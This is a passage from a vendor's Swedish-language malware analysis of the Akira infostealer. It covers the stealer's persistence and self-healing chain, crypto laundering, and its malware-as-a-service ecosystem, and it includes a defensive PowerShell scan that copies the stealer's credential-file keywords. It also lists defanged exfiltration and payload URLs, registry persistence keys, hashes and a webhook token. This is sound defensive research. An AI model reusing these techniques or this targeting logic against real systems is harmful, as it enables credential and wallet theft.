  1. Persistence Anchor (Updater.exe)Updater.exe fungerar som det grundläggande fotfästet. Den släpps vanligtvis in i en startplats för Windows-användaren, till exempel %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, eller registreras via HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Dess uppgift är enkel men kritisk: säkerställa att main.exe finns och starta den tyst vid användarens inloggning. Om main.exe saknas extraherar den på nytt arkivet app-64.7z (som ligger i en temp-mapp eller släpps in på nytt) och återskapar hela Electron-appstrukturen.
  2. Bridge Loader (main.exe)main.exe är den Electron-inkapslade Node.js-applikationen. Den exponerar inget GUI och arbetar helt i bakgrunden. Vid exekvering kör den den inbäddade JavaScript-logiken i app.asar och använder Node.js som runtime-miljö. Det här abstraktionslagret frikopplar kärnlogiken från PE-stubben, vilket hjälper till att undgå traditionell analys.
  3. Execution Orchestrator (jscryter.js) Inbäddad i app.asar är detta infektionskedjans egentliga styrenhet. Dess huvudfunktioner omfattar:
    • Att kontrollera om Updater.exe finns och distribuera den på nytt om den saknas
    • Att dynamiskt injicera runtime-konfiguration: webhook-URL:er, C2-adresser, tokens
    • Att antingen anropa den redan närvarande Python-payloaden (astor.py) eller ladda ner den som en del av ett ZIP-paket (t.ex. pyth.zip) från angriparkontrollerad infrastruktur
  4. Payload Execution (astor.py) När den väl utlöses exekveras astor.py i minnet via python.exe. Den samlar systematiskt in sparade credentials, cookies, Discord-tokens, browser-sessionsdata och tillägg för kryptovalutaplånböcker. Datan förbereds i ett ZIP-arkiv och exfiltreras via HTTPS, oftast till Discord-webhooks, men även fallback-API:er som gofile.io eller anpassade C2-endpoints har observerats.
  5. Loop Integrity and Self-Healing Designen är cirkulär. Om Updater.exe raderas distribueras den på nytt. Om main.exe saknas extraherar Updater.exe den på nytt från app-64.7z. Om astor.py raderas hämtas den på nytt av JavaScript-lagret. Det här ömsesidiga beroendet gör malwaren motståndskraftig och kapabel att rekonstruera sin exekveringskedja från praktiskt taget vilket överlevande fragment som helst.

Den här arkitekturen är inte bara modulär, den är självförsörjande, medvetet konstruerad för stealth, flexibilitet och långsiktig överlevnad i målmiljöer.

8.2 Varför detta är anmärkningsvärt

Kampanjens arkitektoniska design speglar en nivå av sofistikering som man vanligtvis inte ser hos vanliga infostealers. Den går bortom enkla flerstegsladdare, det här är malware konstruerad för operativ motståndskraft, stealth och automatisering.

Key Characteristics

  • Full Autonomy När den väl är distribuerad kräver malwaren ingen användarinteraktion eller extern återaktivering. Den agerar som en illasinnad mikrotjänst och orkestrerar sin egen persistence, payload-exekvering och reparationsrutiner utan extern styrning.
  • Multi-Language Execution Stack Verktygskedjan integrerar:
    • PE Binaries (Updater.exe, main.exe)
    • Node.js / JavaScript (via Electron)
    • PowerShell (används för obfuskerad payload-relä)
    • Python (astor.py, exekverad som minnesresident stealer) Den här skiktade sammansättningen gör det svårare att profilera, fingeravtrycka och analysera med konventionella statiska verktyg.
  • Defense Evasion by Design Varje komponent är kodad, krypterad eller dynamiskt injicerad:
    • Base64 PowerShell-relä
    • AES-krypterad och GZIP-komprimerad Python-kärna
    • Obfuskerad JavaScript med runtime-tokeninjektion
    • Självläkande beteende som försvårar partiell borttagning
  • No Single Point of Failure Malwarens självreparationslogik säkerställer att borttagning av en enskild komponent inte räcker. Om Updater.exe tas bort återskapar infostealern den. Om astor.py raderas laddas den ner och distribueras på nytt av JavaScript-styrenheten.

Kort sagt beter sig malwaren mer som ett distribuerat system än en typisk payload, ett system som prioriterar överlevnad, modularitet och stealth.

Det här lyfter hotet från en opportunistisk attack till en motståndskraftig, adaptiv plattform, vilket kräver att försvarare möter dess komplexitet med lika skiktade detekterings- och responsstrategier.

8.3 Konsekvenser för blue teams

För försvarare och CSOC-operatörer höjer den här sortens arkitektur ribban:

  • Partiell sanering är verkningslös. Alla noder måste identifieras och tas bort samtidigt.
  • Defender for Endpoint-korrelation är avgörande. Analytiker måste spåra hela kedjor: från Updater.exe → cmd.exe → powershell.exe → python.exe.
  • IOC-fri persistence innebär att minnesbaserad heuristik, baslinjer för telemetri och kedjebaserad detektering är nyckeln.

Det här är inte bara en stealer. Det är en motståndskraftig malware-plattform, som beter sig mer som ett distribuerat system än ett enkelt hot. Och det är precis det som gör den både imponerande och farlig.

9. Blockchain-spårning och analys

9.1 Att spåra penningflöden i en Litecoin-baserad malware-kampanj

Under reverse engineering-fasen av den här malware-kampanjen extraherade vi flera hårdkodade plånboksadresser som stealern använde för exfiltrering av kryptovaluta. Genom att följa on-chain-aktiviteten hos dessa Litecoin-plånböcker kunde vi avslöja mönster som tyder på avsiktlig penningtvättstaktik. Den angriparkontrollerade plånboken LW6EopiZ... fungerar som en central aggregeringspunkt. Medel som stulits från flera offer slussas in i den här adressen, varefter de snabbt omfördelas över flera nya adresser.

Beteendet som ses här är representativt för ett klassiskt split-transfer-mönster som används vid crypto tumbling eller mixing-operationer. I varje fall delas hela det inkommande saldot upp i två ungefär proportionella utgående transaktioner, var och en skickad till en annan plånbok. Den här strategin är utformad för att försvåra address clustering och chain tracing genom att obfuskera medlens ursprung. Det är en effektiv taktik för att undgå detektering av automatiserade blockchain-analys- och threat intelligence-plattformar.

Det här penningtvättsbeteendet utnyttjar en kombination av transaktionstajming, exakt värdeuppdelning och minimerad återanvändning av adresser för att kringgå heuristik som vanligtvis tillämpas av clustering-algoritmer som de som används i GraphSense, Chainalysis eller TRM Labs. Den övergripande avsikten är att skapa transaktionsflöden med hög entropi, vilket förvirrar attribution och stör länkbarhet, särskilt när medlen till slut bryggas över andra tillgångar eller växlas till integritetsinriktade coins.

I exemplet nedan visar vi en strukturerad delmängd av det här beteendet. De inkommande transaktionerna representerar distinkta offeröverföringar. Dessa värden mappas sedan perfekt till utgående flöden, vilket visar hur coins "tvättas" genom snabba, förutsägbara och algoritmiskt uppdelade utbetalningar.

Input Source Input Date Amount In (LTC) → Attacker Wallet Output Addresses Total Out (LTC)
Input_1 2024-09-21 0.25339198 LLQtaBnSAF... - LZmHkgkED... (0.15579078, 2024-09-26)
- M8JpDsw5H7... (0.09760120, 2024-09-26)
0.25339198
Input_2 2024-04-16 1.09976044 LLQtaBnSAF... - LgWrCAF8ED... (0.84304664, 2024-06-13)
- LgWrCAF8ED... (0.25671380, 2024-06-13)
1.09976044
Input_3 2024-03-06 0.77089346 LLQtaBnSAF... - LZL3wQcSRP... (0.38544673, 2024-03-04)
- M8kiBpVHG3... (0.38544673, 2024-03-04)
0.77089346
Input_4 2024-03-06 0.77089346 LLQtaBnSAF... - LUFLTrqYpix... (0.38544673, 2024-03-04)
- La22dfH9eM... (0.38544673, 2024-03-04)
0.77089346

10. Inuti Akira-ekosystemet – kommersialiserad cyberbrottsinfrastruktur

Akira är inte bara en stealer, den är mittpunkten i ett blomstrande underjordiskt ekosystem utformat för att förenkla, skala upp och tjäna pengar på cyberbrottslighet.

10.1 Ett plug-and-play-ekosystem för hotaktörer

Akira-ekosystemet exemplifierar utvecklingen av cyberbrottslighet till en professionaliserad, tjänstedriven ekonomi. Det omfattar:

  • Builder Bots för payload-generering på begäran (t.ex. @AkiraRedBot)
  • Telegram-kanaler för uppdateringar, funktionsförfrågningar och kundsupport
  • Automatiserad licens- och betalningshantering, ofta via direktmeddelanden eller anonyma e-handelsplattformar som Sellix
  • Buntade moduler som clipboard hijackers, Discord token loggers, browser data stealers och till och med ransomware-tillägg
  • Anpassningsbara payloads med konfigurationsgränssnitt som tillåter växlingsreglage, webhook-input och ikonbranding

Akira Stealer

10.2 Kommersialisering av cyberbrottslighet

Akiras struktur speglar en bredare rörelse mot "Malware-as-a-Service" (MaaS), där:

  • Ingen djup teknisk kompetens krävs för att starta attacker
  • Låga inträdeskostnader ($75 för 3 månader, $150 för livstid)
  • Omedelbar support och dokumentation via Telegram
  • Bidrag från communityn utökar regelbundet Akira med skript och funktionsförslag

Det här ekosystemet efterliknar legitima SaaS-affärsmodeller, med changelogs, UX-förbättringar, prisnivåer och upsells.

Akria Stealer

10.3 Bortom stealern – ekosystemets komponenter

Även om astor.py är hjärtat i många attacker tillhandahåller ekosystemet en fullständig kedja:

  • Obfuskeringsverktyg som PyInstaller-wrappers
  • File binders för att koppla ihop illasinnade payloads med godartad programvara
  • Compilers, crypters och runtime-polymorfism
  • Hosting-speglar för payload-leverans och exfiltrering (t.ex. GoFile, AnonFiles)
  • Datahanteringsbottar som sammanfattar stulna credentials och hårdvaruprofiler

Akira Bot

11. Akira Stealer QuickCheck: berörda filer

11.1 Vad är detta till för?

Efter en misstänkt Akira Stealer-infektion är det avgörande att omedelbart veta vilka filer på ditt system som riskerade att exfiltreras. QuickCheck-PowerShell-skriptet som beskrivs ovan replikerar Akiras exakta söklogik: det skannar användarens mappar Desktop, Documents, Downloads och OneDrive efter filer som:

  • Innehåller känsliga nyckelord i sitt filnamn, som password, wallet, backup eller token
  • Har specifika filändelser som ofta är måltavlor (.txt, .docx, .pdf, .jpg osv.)
  • Ligger under storleksgränsen på 2 MB som malwaren använder

Även om QuickCheck erbjuder en snabb överblick baserad på Akira Stealers interna logik, är den inte en ersättning för omfattande forensiska verktyg eller professionell incident response. Följ alltid upp med djupare analys vid bekräftade intrång.

Den presenterar sedan en sorterad tabell med Filename, Relative Path, Size (KB) och det utlösande nyckelordet.

DISCLAIMER Det här verktyget tillhandahålls "as is" utan någon garanti för fullständighet eller lämplighet för ett visst ändamål. Det garanterar inte detektering av alla potentiellt känsliga filer, och ersätter inte heller fullständig malware-forensik. Använd på egen risk.

Juridisk information

Det här QuickCheck-verktyget är endast avsett för bedömningar inom defensiv säkerhet. All obehörig skanning eller användning på system du inte äger kan bryta mot lagar om integritet, upphovsrätt eller datormissbruk. glueckkanja AG tar inget ansvar för missbruk eller skador som uppstår till följd av användningen.

PowerShell-skript

<#
.SYNOPSIS
    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.

.DESCRIPTION
    Scans Desktop, Documents, Downloads and OneDrive for files that:
      • Contain one of the defined keywords in their name
      • Have an allowed file extension
      • Are not larger than 2 MB
    Presents the results in a colored, tabular overview.

.NOTES
    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach
#>

# -------------------------------------
# 1. Configuration
# -------------------------------------
$scanFolders = @(
    "$env:USERPROFILE\Desktop",
    "$env:USERPROFILE\Documents",
    "$env:USERPROFILE\Downloads",
    "$env:USERPROFILE\OneDrive"
)
$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'
$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'
$maxSize    = 2MB

# -------------------------------------
# 2. Scan and Collect Matches
# -------------------------------------
$matches = [System.Collections.Generic.List[PSObject]]::new()

foreach ($folder in $scanFolders) {
    if (-not (Test-Path $folder)) { continue }
    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
        # 2.1 Extension filter
        if ($extensions -notcontains $_.Extension.ToLower()) { return }
        # 2.2 Size filter
        if ($_.Length -gt $maxSize) { return }

        # 2.3 Keyword filter: explicit loop to avoid null-method calls
        $hit = $null
        foreach ($kw in $keywords) {
            if ($_.Name.ToLower().Contains($kw)) {
                $hit = $kw
                break
            }
        }
        if (-not $hit) { return }

        # 2.4 Build relative path
        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)

        # 2.5 Collect
        $matches.Add([PSCustomObject]@{
            FileName    = $_.Name
            Location    = $rel
            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)
            Keyword     = $hit
        })
    }
}

# -------------------------------------
# 3. Display Results
# -------------------------------------
clear
Write-Host "🔍 glueckkanja AG – Akira Stealer QuickCheck" -ForegroundColor Cyan
Write-Host "────────────────────────────────────────────────────────" -ForegroundColor DarkCyan

if ($matches.Count -gt 0) {
    $matches |
        Sort-Object Location, FileName |
        Format-Table -AutoSize `
            @{Label='File';       Expression={$_.FileName}},
            @{Label='Location';   Expression={$_.Location}},
            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},
            @{Label='Keyword';    Expression={$_.Keyword}}

    Write-Host "`n⚠️  Total potential matches: $($matches.Count)" -ForegroundColor Yellow
}
else {
    Write-Host "✅ No potentially compromised files found." -ForegroundColor Green
}

Write-Host "`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach" -ForegroundColor DarkGray
Write-Host "Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis." -ForegroundColor DarkGray

12. Bortom incidenthantering – hur glueckkanja CSOC förvandlar incidenter till insikter

De flesta security operations centers stannar vid containment. Det gör inte vi.

På glueckkanja CSOC är vi övertygade om att incident response inte är mållinjen, det är startpunkten.

När andra utropar seger och går vidare gräver vi djupare. För oss är varje incident ett tillfälle att lära, anpassa oss och bli starkare. Vår obevekliga nyfikenhet, driven av många års djup forensisk expertis och reverse engineering-kapacitet, säkerställer att vi inte bara försvarar, vi förutser.

Den här filosofin är anledningen till att vi byggde Akira Compromise Reporter.

Långt bortom grundläggande detektering använder det här internt utvecklade forensiska verktyget vår ingående kunskap om Akira Stealer för att ge total klarhet i vilken data som har komprometterats. Inom några minuter producerar det en exakt, handlingsbar ögonblicksbild av incidentens fulla omfattning:

  • Exakt vilka credentials, tokens och browser-sessioner som stals.
  • Precis vilka kryptovalutaplånböcker, meddelandekonton och filer som exponerades.
  • En tydlig, strukturerad och detaljerad forensisk rapport som förvandlar osäkerhet till omedelbar, välinformerad handling.

Akira Compromise Report

För på glueckkanja mäter vi vår framgång inte bara i blockerade hot, utan i den klarhet vi ger. Cybersäkerhet, gjord rätt, handlar inte om att bara reagera på incidenter, det handlar om att förstå, anpassa sig och alltid ligga ett steg före.

Det är glueckkanja CSOC-skillnaden.

13. Indicators of Compromise (IOCs)

Nedan följer en omfattande, ordagrann samling av IOC:er som extraherats direkt från malware-koden under vår interna reverse engineering-process på glueckkanja CSOC. Inga antaganden eller externa threat intel-källor användes, alla indikatorer är bekräftade fynd. Alla URL:er är avsiktligt obfuskerade för att förhindra oavsiktliga klick.

Abbreviations:

  • TG: Telegram reporting channel
  • Alt: Alternate (fallback) endpoint

1. Domäner och URL:er

Category Obfuscated URL Description
Primary Injection https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php Initial attacker webhook endpoint
Fallback Injection https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php Alternate injector endpoint
Error Reporting (TG) https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php Telegram error/log reporting URL
Error Reporting (Alt) https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php Alternate error/log reporting URL
Vanity Bot (TG) https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php Vanity address notification endpoint
Vanity Bot (Alt) https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php Alternate vanity notification endpoint
Exodus Injection https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar Electron Exodus app module
Atomic Injection https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar Electron AtomicWallet module
Updater Download https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe Persistence dropper executable
Gofile API List https[:]//api.gofile[.]io/servers Retrieves best GoFile upload server
Discord Token Check https[:]//discordapp[.]com/api/v9/users/@me Validates stolen Discord token
Discord Billing Info https[:]//discord[.]com/api/users/@me/billing/payment-sources Retrieves billing methods
Google OAuth Replay https[:]//accounts[.]google[.]com/oauth/multilogin Replays stolen Google session tokens
IP Check (hosting) http[:]//ip-api[.]com/line/?fields=hosting Hosting environment detection
IP Lookup (geo) http[:]//ip-api[.]com/json/{ip} Geolocation by IP
Public IP Retrieval https[:]//api[.]ipify[.]org Fetches external IP address
File.io Upload https[:]//file[.]io/ Secondary exfiltration channel
Oshi.at Upload http[:]//oshi[.]at/ Tertiary exfiltration channel
JS Dropper Primary https[:]//rentry[.]co/7vzd22fg36hfdd33/raw Remote reference to actual ZIP URL
JS Dropper Fallback 1 https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip Alternative payload ZIP
JS Dropper Fallback 2 https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip Secondary fallback payload ZIP

2. Kryptovaluta-adresser

Currency Address
BTC bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt
ETH 0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5
DOGE DACeoqWDPmNARSZAeDZPFwqwecbByaksmd
LTC LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH
XMR 4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D
BCH qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs
DASH XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1
TRX TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK
XRP r36AwwhUH7BRujevi5mukbDrG46KGbTk8V
XLM GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33

3. Registernycklar / sökvägar

Registry Path Purpose
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc Checks for virtual GPU driver signature
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName Checks for virtual GPU provider name
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (value Realtek Audio) Persistence via Run key (Updater.exe)
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe Persistence Executable

5. Filer och hashar

Filename SHA256 Size (bytes)
app-64.7z 331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380 63936274
main.exe C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B 162036224
jscrypter.js 0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF 1429
obf.js 1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343 30138
input.js E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7 7155
package.json 972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6 211
astor.py 850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4 205210
exodus.asar 6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB 132486332
pow.bat 10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910 28454
download.dat C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B 21142
pyth.zip E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7 32375391
Updater.exe 36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0 37652937

5. Discord- och Telegram-identifierare

Category Value
Discord Webhook ID 1226766972675428372
Discord Webhook Token BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz
Telegram ID 5035121855

14. Reflektioner kring Akira Stealer-incidenten: stärk ditt försvar med glueckkanja CSOC

Genom hela den här bloggen har vi utforskat den sofistikerade karaktären hos Akira Infostealer, ett avancerat cyberhot som kännetecknas av riktad credential-stöld, smygande dataexfiltrering och beständiga metoder för att undgå traditionella försvar. Att förstå hur den här malwaren fungerar, riskerna den medför och sårbarheterna den utnyttjar är avgörande för att bygga en robust cybersäkerhetsstrategi.

Akira Infostealer riktar sig specifikt mot känslig data som inloggningsuppgifter, browser-sessioner, kryptovalutaplånböcker, meddelandetjänster och personliga eller organisatoriska filer. Dess kalkylerade och precisa metoder kräver mer än bara vanliga säkerhetsåtgärder, de kräver kontinuerlig övervakning, djupgående forensisk analys och proaktiv threat intelligence.

På glueckkanja CSOC utnyttjar vi vår djupa tekniska expertis och avancerade analytiska förmåga för att gå bortom enkel detektering. Vårt specialiserade team övervakar kontinuerligt hot i realtid från våra dedikerade CSOC-servrar, vilket möjliggör omedelbar identifiering, grundlig utredning och effektiv neutralisering av hot som Akira Infostealer.

Men vårt arbete stannar inte vid incident response. Varje detekterad incident berikar vår kunskapsbas, stärker vår säkerhetsprofil och säkerställer att vi förblir flera steg före framtida hot. Med glueckkanja CSOC får du mer än skydd, du får en adaptiv säkerhetspartner som är engagerad i din långsiktiga motståndskraft.

Ta nästa steg i att säkra din organisations digitala tillgångar.

Kontakta glueckkanjas cybersäkerhetsexperter idag, så säkrar vi proaktivt din framtid tillsammans.

Stärk ditt försvar med glueckkanja CSOC.

15. Säkerhets- och ansvarsfriskrivning – användning av verklig skadlig kod

Den här publikationen innehåller detaljerade tekniska insikter, inklusive kodutdrag och beteendeanalyser härledda från faktisk skadlig programvara som upptäckts under incident response och forensiska utredningar. Syftet med att dela den här informationen är strikt utbildande, avsett att hjälpa professionella försvarare att förstå, upptäcka och svara på verkliga hot mer effektivt. Vi publicerar det här i god tro och med avsikten att bidra till den bredare säkerhetsgemenskapen.

Det är viktigt att notera att delar av den inkluderade koden härrör från threat actor-verktygslådor och malware-prover som cirkulerar i det vilda. De här fragmenten är inte vår immateriella egendom, och ska inte heller betraktas som säkra, sanerade eller på annat sätt "harmless". Reproduktion eller operativ användning av sådan kod avråds uttryckligen. Läsare måste förstå att även om det här materialet fyller en forsknings- och medvetandefunktion, medför det i sig en riskprofil som inte bör underskattas.

Endast utbildade yrkespersoner som verkar inom lagligt auktoriserade miljöer, såsom ackrediterade säkerhetsteam, SOC-enheter, akademiska forskare eller malware-labb, bör befatta sig med teknikerna eller koden som beskrivs. All experimentering måste begränsas till isolerade, icke-produktionssystem och följa tillämpliga lagar, interna riktlinjer och etiska standarder.

Vi tillhandahåller ingen support eller validering för någon reproducerad kod eller något reproducerat beteende. Det finns ingen garanti för korrekthet, relevans eller fullständighet. Vidare avvisar vi uttryckligen all användning av det här innehållet för offensiva syften, obehörig red teaming, kommersiell malware-utveckling eller adversariell testning utanför ett lagligt definierat omfång. Allt missbruk kan leda till rättsliga konsekvenser. glueckkanja AG frånsäger sig allt ansvar för direkta eller indirekta skador som uppstår till följd av användning eller feltolkning av det här innehållet.

Genom att fortsätta läsa eller referera till det här innehållet bekräftar du ovanstående och samtycker till att inte missbruka, replikera eller tillämpa någon del av det i olagliga eller oetiska sammanhang. Vid tveksamhet, rådgör med din juridiska avdelning, compliance-avdelning eller dataskyddsavdelning innan du befattar dig med live-kodanalys eller liknande tekniskt material.

Den här publikationen tillhandahålls "as is", utan garanti, support eller ansvar.

Hör av dig nu

Som en ledande Microsoft Security MSSP skyddar vi företag mot cyberhot varje dag. Låt oss prata och stärka ditt cyberförsvar tillsammans.

Liknande inlägg